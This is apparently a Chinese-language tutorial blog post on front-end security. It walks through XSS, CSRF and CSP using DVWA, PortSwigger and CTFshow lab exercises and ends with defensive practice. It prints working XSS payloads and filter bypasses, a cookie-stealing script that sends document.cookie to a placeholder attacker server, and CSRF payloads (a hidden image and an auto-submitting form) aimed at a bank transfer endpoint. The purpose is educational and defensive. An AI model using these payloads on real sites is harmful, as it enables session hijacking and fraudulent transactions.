前端安全实战:从XSS、CSRF到CSP的攻防与防御落地
做前端这几年我最深的感受是很多同学能写一手漂亮的业务代码却在安全问题上一摸黑。XSS、CSRF这些词都听过问起来也能说出个大概可真到线上出告警、要你给方案的时候才发现连攻击是怎么进来的都说不清楚。这篇东西就是我实践里踩过的坑、试过的方法围绕XSS、CSRF与内容安全三个主题一次性讲透。里面会有靶场实操记录、常见绕过思路、真实项目里的防御代码也有大量“我当时为什么这么做”的思考过程。不管你是刚接触安全的前端新手还是已经被安全需求反复折腾过的老手这篇文章应该都能给你一些直接能用的东西。1. 先搞清楚XSS到底在打什么1.1 三个前置条件输入、拼接、执行XSS的全称是Cross-Site Scripting跨站脚本攻击。名字里有“脚本”两个字但本质并不是在攻击服务器而是攻击浏览器更准确地说是攻击浏览器对代码和数据的分辨能力。我习惯把XSS理解成一个“身份混淆”问题。正常情况下用户提交的数据就是数据页面展示的时候它就只是一段文本。但如果某个环节把这段文本直接拼进了HTML结构、插进了JavaScript执行环境或者塞进了URL参数里浏览器就会分不清到底哪些是开发者写的代码哪些是用户塞进来的代码一旦用户输入被当成了代码执行攻击就跑起来了。所以要触发一次XSS通常需要满足三个条件目标应用把用户可控的数据直接拼接到了页面代码里没有做转义或过滤。拼接的位置属于HTML解析、JS解析或URL解析的“可执行上下文”而不是纯文本位置。用户浏览器解析这段内容时确实把攻击者输入解析成了有效代码。这三个条件看起来简单但实际开发中太容易踩中。比如动态拼接内联事件、把URL参数直接塞进script标签、用innerHTML渲染富文本、甚至是在value属性里输出内容时忘了对引号做处理。每一个场景都对应一种XSS形态这也是为什么XSS在OWASP Top 10里常年占着位置。1.2 三种类型与一条主线按触发和存储方式XSS一般分成三派反射型、存储型、DOM型。它们的攻击路径各不相同但底层逻辑完全一致不可信数据进入危险函数。三种类型的核心差异可以参考下面这个表格类型数据存储位置触发方式典型场景反射型不落库只在请求响应中出现需要诱导用户点击恶意链接搜索页、错误页、URL参数回显存储型持久化存到数据库任何用户访问该页面即触发评论、留言板、个人资料、富文本DOM型不经过服务端纯前端操作用户访问恶意链接前端代码自己“消化”前端路由、hash参数处理、location属性取值后拼接反射型和DOM型经常被混淆。初学者最容易搞混的点在于反射型一般会经过服务端再把内容“反射”回来而DOM型的整个流程完全发生在浏览器内部服务端甚至完全不感知。我在CTFshow平台上做过一组XSS题对这种差异体会特别深。同样是弹一个alert有的题改URL参数就能触发有的题必须在页面里构造一个输入点让前端脚本去取值还有的题要找到存储接口先提交payload再等管理员访问。同一个漏洞点攻击者的视角完全不同防御方的视角也完全不同。所以这部分的第一个结论就是学XSS不要死记payload先把“数据从哪来、到哪里去、经过什么处理”这条链路划清楚。链路清楚了后面所有的绕过和防御都只是这条链路上的具体动作。2. 反射型XSS一次点击一次中招2.1 从DVWA看最原始的攻击流程反射型XSS是所有XSS类型里最好理解、也最适合入门的一种。我当年第一次接触就是在DVWA靶场里那个经典的“Hello”漏洞页面。DVWA的low级别反射型XSS代码大概是这样的?php header (X-XSS-Protection: 0); if( array_key_exists( name, $_GET ) $_GET[name] ! NULL ) { echo preHello . $_GET[name] . /pre; } ?也就是说GET参数name的值被直接echo进了页面。我第一次做的时候往URL里输入了一个最基础的payloadhttp://127.0.0.1/DVWA/vulnerabilities/xss_r/?namescriptalert(1)/script页面直接弹窗攻击成功。那一刻我其实有点懵就这么简单是的反射型XSS的初始利用就是这么简单因为它完全不做任何过滤。但这里的“简单”只停留在靶场现实里几乎不存在直接能弹窗的页面。真正让我觉得这家伙难缠的是后面升级到medium和high难度时的绕过过程。DVWA medium级别对输入做了几个处理$name str_replace( script, , $_GET[ name ] );只把script字符串全局替换为空。这种过滤有一个经典绕过姿势大小写混合比如scrscriptipt。先被替换掉内层script剩下的部分正好拼成一个完整的script照样执行。当时我第一次遇到这种绕过方式的时候是真的眼前一亮——原来过滤是字符串层面的不是语义层面的它根本不知道什么叫“标签”。DVWA high级别则改成用正则检查大小写同时过滤了script标签$name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $_GET[ name ] );这时候script确实被堵死了但正则只针对script这一个标签。我换了一个思路不用script改用事件触发img srcx onerroralert(1)图片加载失败触发onerror事件照样弹窗。这个payload在high级别里直接通过。这件事给我的启发很大过滤规则永远在跟攻击者的想象力赛跑你以为堵住了一个标签实际上只是堵住了其中一条路。2.2 绕过过滤的常见思路在Portswigger的靶场里我刷反射型XSS的时候整理过一套绕过决策树。不夸张地说遇到一个过滤点先别急着猜按这个思路走大部分情况下都能找到突破口先测基础过滤直接提交scriptalert(1)/script看是否被拦截。被拦了再看过滤方式输出被转义变成lt;scriptgt;、被删除字符串消失、还是被限制长度。过滤标签时尝试大小写、嵌套、用svg、img、details、math等替代标签。过滤事件时尝试事件替代比如onerror不行就试onload、onclick、onfocus、onanimationstart。过滤关键字时试HTML实体编码、URL编码、十六进制编码、unicode编码。判断上下文如果是拼接在HTML标签属性里就先尝试闭合引号和尖括号比如img srcx onerroralert(1)。我印象最深的是CTFshow某道XSS题它把常见的关键字都过滤了个遍连alert都只剩大小写混合能过。最后我在payload里用反引号替代了圆括号再用HTML实体编码编码了a和t才把alert(document.domain)成功构造出来。那道题我刷了将近两个小时真正解出来的时候才明白所谓“绕过”其实就是在过滤器的盲区里找到一条能通的路。反射型XSS的防御其实相当明确输出编码。唯一需要注意的就是编码的上下文HTML标签内容里做HTML实体编码JS字符串里做JS转义URL参数里做URL编码千万别一套编码打天下。3. 存储型XSS与DOM型XSS3.1 存储型攻击的完整链路反射型XSS需要诱导用户点链接单次触发、单次生效危害相对受限。存储型XSS则是把payload先存进数据库每次有人访问承载页面就自动触发。这就好比反射型是寄一封带毒的邮件而存储型是在水源地投毒——影响面完全不是一个量级。DVWA的存储型XSS模块low级别就是直接在留言板里把提交的消息echo出来?php if( isset( $_POST[ btnSign ] ) ) { $message trim( $_POST[ mtxMessage ] ); $name trim( $_POST[ txtName ] ); $sql INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name ); $result mysqli_query($conn, $sql); } ?提交scriptalert(1)/script每次刷新留言板都弹窗。我在实际测试中的做法是提交一段读取Cookie的payloadscriptnew Image().srchttp://攻击者服务器/collect?cookiedocument.cookie/script这样当我登录状态下访问留言板时Cookie会被发到攻击者的收集服务器上从而实现会话劫持。存储型XSS的完整攻击链就是攻击者提交恶意内容到数据库 → 受害者访问包含该内容的页面 → 恶意脚本在受害者浏览器执行 → 数据被外带 → 攻击者利用数据实施进一步攻击。这里要多说一句。存储型XSS真正的可怕之处在于它可以把受害者的浏览器变成攻击者的“跳板”。经典玩法有窃取Cookie、模拟受害者发起请求这就是CSRF的进阶玩法、钓鱼页面注入、键盘记录器。我甚至见过一个案例攻击者利用一个存储型XSS点接入端口扫描整个内网拓扑都被扫了一遍。前端一个看似不起眼的漏洞最终能撬动整个内网的安全边界。3.2 DOM型XSS与存储型的本质差异DOM型XSS在三种类型里最容易被人忽略因为它可能完全不需要服务端参与也不可能从后端日志里看出任何痕迹。它的触发过程大致是这样的页面里的JavaScript从某个数据源读取值location.href、location.hash、document.referrer、window.name、postMessage消息等然后把这个值传进了某个危险函数innerHTML、document.write、eval、setTimeout、Function构造函数、insertAdjacentHTML等。整个过程都在浏览器里转了一圈服务端完全不知道发生了什么。我画过一条最典型的危险链路用户点击恶意链接 ↓ location.hash 被恶意内容篡改 ↓ 前端JS读取 hash 字符串var id location.hash.substring(1) ↓ 拼接进HTMLdocument.getElementById(x).innerHTML span id /span ↓ 恶意标签被解析脚本执行Portswigger的DOM型XSS靶场题里有一道题的源码就是这样。攻击payload并不出现在请求里只出现在URL的#后面很多后端WAF和基础过滤根本拦不住。DOM型和存储型最大的差异不仅体现在“是否经过服务端”还体现在防御思路上。存储型靠后端输入校验和输出编码能防住大部分场景DOM型则必须从“前端代码的取值和赋值”入手——开发者要梳理自己的代码里哪些地方用到了innerHTML、document.write这种危险API数据源是否可控有没有在写入之前做足够的安全处理。我在调试DOM型XSS的时候最常用的工具是浏览器开发者工具里的Sources面板。先在DOM事件监听器里设置断点再顺着调用栈往上走看数据是从哪个源头传到危险函数里的。这条“数据流追踪法”几乎可以解决所有DOM型XSS的定位问题。4. CSRF利用信任链的沉默攻击4.1 CSRF能得手的根本原因CSRFCross-Site Request Forgery跨站请求伪造和XSS完全不同。XSS是攻击者直接操纵受害者的浏览器而CSRF是攻击者借着受害者的“已登录身份”去执行操作。攻击者并不需要拿到受害者的Cookie也不需要知道Cookie内容只要受害者在A站处于登录状态攻击者构造的请求就会被浏览器自动带上合法Cookie服务器就以为这是一次真实用户操作。理解这一点非常重要因为它牵出了CSRF能成功的两个底层原因Cookie是浏览器自动携带的攻击者无法直接读取但可以“借用”。服务器无法区分一次请求到底是用浏览器主动发出的还是被第三方页面强制发起的。我做过一个最简单的CSRF演示。假设一个转账功能是GET请求/transfer?toattackeramount1000攻击者只要把这段链接伪装成普通图片地址img srchttp://bank.example/transfer?toattackeramount1000 width0 height0 /用户只要在论坛或邮件里浏览了包含这张“图片”的页面浏览器就会向转账接口发起一次GET请求而Cookie会被自动带过去。服务器一看Cookie有效、参数合法一笔转账就完成了。如果请求是POST就利用隐藏表单加JavaScript自动提交form actionhttp://bank.example/transfer methodPOST idattack input typehidden nameto valueattacker / input typehidden nameamount value1000 / /form scriptdocument.getElementById(attack).submit();/script很多初学者会问攻击者怎么能从受害者的浏览器发起POST请求答案是根本不需要攻击者亲自操作只要页面里有一段恶意HTML浏览器就会替攻击者完成这个请求。整个过程中的“受害者”其实是受害者的浏览器。4.2 绕过与防御的边界CSRF绕过的话题在安全圈里很热门常见绕法有几条。我用表格整理一下防御手段绕过思路备注校验Referer头部分浏览器在某些情况下不发送Referer例如从https页面跳转到http页面、一些隐私模式设置有时把恶意页面放在https下跳http即可校验Origin头部分同源请求不携带Origin空Origin时如果服务端校验不严可绕过移动端浏览器有时不发送双重Cookie校验如果存在子域上的XSS或可以控制子域Cookie就能伪造辅助性防御不能单独依赖Token校验Token放在Cookie中且不绑定会话时需配合XSS或中间人才能绕过这也是Token必须绑定会话Session的原因自定义请求头校验攻击者无法跨域设置自定义头但如果存在CORS错误配置就能突破CORS安全策略必须同步收紧在dig2pen的CSRF靶场题目里我遇到过一个稍微特殊的情况服务端校验了Token但Token是通过URL参数传递的。这种情况下如果同一页面存在XSS攻击者就能先读取页面里的Token再自动提交表单。这给我的教训很深刻CSRF防御不是某一个手段的“单兵作战”而是Token、SameSite、请求头校验、CORS配置的组合拳。现在业界对CSRF防御的主流共识基本围绕下面几层展开用CSRF Token校验Token必须绑定会话且由服务端生成不允许存Cookie。设置SameSite属性为Lax或Strict限制跨站请求自动携带Cookie。针对高风险操作改密码、转账、权限变更增加二次校验比如验证码、密码确认、短信验证码。服务端严格校验Origin和Referer但要以Origin为主因为Referer可有可无且包含隐私信息。逻辑上杜绝“GET请求改变服务端状态”的坏味道所有写操作都用POST或PUT。我在实际项目中另外做了一层处理所有写接口都要求自定义请求头X-Requested-With: XMLHttpRequest。跨站请求无法预配置这个头部浏览器也不允许跨域自定义这相当于给接口多加了一道免费闸门。5. 内容安全策略CSP给浏览器戴上紧箍咒5.1 CSP的核心指令与配置方式CSPContent Security Policy内容安全策略是整个前端安全体系里最被低估的一环。很多人知道它但只停留在“听说过”的层面。实际上CSP解决的是XSS的最核心诉求即使攻击者的脚本被注入到了页面里也没法执行。CSP通过HTTP响应头或meta标签告诉浏览器这个页面允许加载哪些来源的脚本、样式、图片、字体是否允许内联脚本是否允许eval。一旦策略生效浏览器会拦截所有不合规的加载和执行。最常用的CSP配置示例Content-Security-Policy: default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src *; object-src none这条策略的含义是资源默认只允许同源加载脚本只能从本域和指定的CDN加载样式允许本域和内联图片允许任意来源object对象完全禁止。CSP里有几个指令必须重点关注default-src所有资源类型的兜底策略优先级最低。script-src脚本加载来源策略XSS防御的核心指令。style-src样式来源涉及内联样式是否放行。connect-srcXHR、fetch、WebSocket等连接允许的地址。frame-ancestors控制页面能否被iframe嵌套可有效阻止点击劫持。report-uri/report-to把违规报告发送到指定地址便于监控攻击尝试。5.2 从“防不住”到“来了就跑不掉”CSP能极大提高XSS利用成本但它并非万能。我总结过几个常见的配置坑第一坑unsafe-inline一刀切放行。很多人为了让业务跑起来直接给script-src加unsafe-inline这下所有内联脚本都放行了XSS一旦被注入直接执行CSP等于白设置。正确的做法是尽量不用内联脚本如果非用不可用nonce-xxx或sha256-xxx机制精确放行指定的脚本块。第二坑script-src用了unsafe-eval。这会允许eval()执行任意代码等于给XSS开了后门。不少现代前端框架在开发模式下需要unsafe-eval但生产环境务必去掉。第三坑default-src没设script-src又开太宽。策略里如果只写了img-src *而漏了script-src脚本就会回落到default-src配置不完整等于留了缺口。我在一个真实项目里试过调整CSP从完全没配置到逐步收紧整个过程其实是一个“信任边界”的讨论过程哪些域名是业务必须的哪些资源可以交给CDN内联脚本能不能改造为了配合CSP落地我把一整套内联脚本全拆成了独立文件给两处实在需要动态脚本执行的地方配了nonce。上线之后大概一周时间report-only模式下收集到了一批违规记录其中就有几段明显是爬虫构造的XSS探测payload。虽然在report-only模式下这些payload没有被真正拦截但能提前看到攻击者的招数对后续安全加固非常有价值。建议先从Content-Security-Policy-Report-Only开始观察一段时间违规记录确认策略不会误伤业务后再切换到强制模式。这个过程有点像先开“测试模式”跑一版看日志没问题再正式启用。6. 从靶场到生产真实项目的安全落地6.1 过滤器的正确写法与上传PDF的坑很多后端同学讨论过“SpringBoot项目全局过滤器处理上传PDF时遭遇XSS攻击”的问题。这个场景很典型项目里配了一个全局XSS过滤器专门清洗请求参数里的恶意代码结果上传PDF时过滤器把文件流也当成普通文本处理了导致PDF被破坏或者绕过过滤器后PDF内容里的恶意payload成功执行。这个问题的根子在于过滤器的职责边界没划清楚。XSS过滤器应该处理的是结构化文本字段而不是二进制文件流。PDF是一种复合文件格式里面可以包含JavaScript、嵌入的URL、注释字符串这些内容在PDF阅读器解析时可能触发XSS或恶意脚本执行。我当时在一个项目中踩过类似的坑。最初的做法是后端拿到上传的PDF后直接对它的字节流做文本替换过滤结果就是把合法PDF的文件结构搞坏了用户下载到的文件打不开。后来改成了两步方案第一步对上传的PDF进行格式识别确认它真的是PDF而不是伪装成PDF的可执行文件。这里我用了Apache Tika来做内容类型检测拿到真实的媒体类型和可提取文本。第二步对PDF内的文本内容做敏感校验比如扫描是否有/JavaScript、/Launch、/OpenAction这类危险对象。PDF规范本身支持的这些动作如果被滥用就可能形成漏洞。这一步的正确姿势不是“替换”而是“拒绝”——检测到危险特征就直接拦截上传而不是试图清洗一个二进制文件。这个案例的启示是过滤器不是万能的它只擅长处理“文本型、结构化、可预测”的数据。面对文件上传这种“二进制、复合结构、不断演化”的数据必须用专门的解析器配合校验逻辑而不是硬套字符串过滤。6.2 一套可用的小型防御组合结合我之前在多个业务项目里的实践整理了一套“小而稳”的前端安全落地组合适合大部分中小团队参考第一层输入校验。后端对所有入参做类型校验和长度限制字符串字段按上下文做编码或白名单校验。这里要特别小心“允许富文本”的场景富文本必须用白名单标签加白名单属性的过滤方案不要用黑名单。第二层输出编码。根据输出位置选择对应的编码方案HTML内容上下文用HTML实体编码属性上下文处理引号JavaScript字符串做转义。现在主流前端框架默认做了转义但要警惕v-html、dangerouslySetInnerHTML这类“逃生舱门”。第三层CSP策略。宁可前面配置麻烦一点也要把default-src和script-src定下来先把外链脚本和内联脚本管住再逐步收紧。第四层Cookie安全。HttpOnly能防止JavaScript读取CookieSecure保证只走HTTPSSameSiteLax能挡住大部分跨站请求伪造。这三项是起步配置必须全开。第五层监控与快速响应。安全日志要留痕CSP违规报告要收集安全事件要有紧急响应预案。我见过太多人等到被攻击了才发现页面被植入脚本如果提前有CSP报告攻击面会大大缩小。我把这套组合用在一个实际管理后台的改造上效果比较明显XSS探测payload全部被CSP拦截CSRF攻击因为同源校验和SameSite设置被挡下大半PDF上传接口也因为内容检测逻辑的加入安全了很多。安全没有银弹但扎实的“组合拳”确实能堵住大多数常规攻击路径。这几次从靶场到实战走下来我最大的感受是前端安全的核心不是某个高深技术而是“思维模式”的转变。写代码的时候只要多问一句“这个数据从哪里来能否可控会进到什么危险函数里”大部分漏洞其实在编码阶段就能消解掉。CSP、过滤器、Token这些手段都只是辅助真正决定安全的永远是写代码的人有没有把边界意识刻进习惯里。以后遇到XSS、CSRF相关的问题不妨先从“这条数据链路是否干净”入手很多问题的答案会自己浮现出来。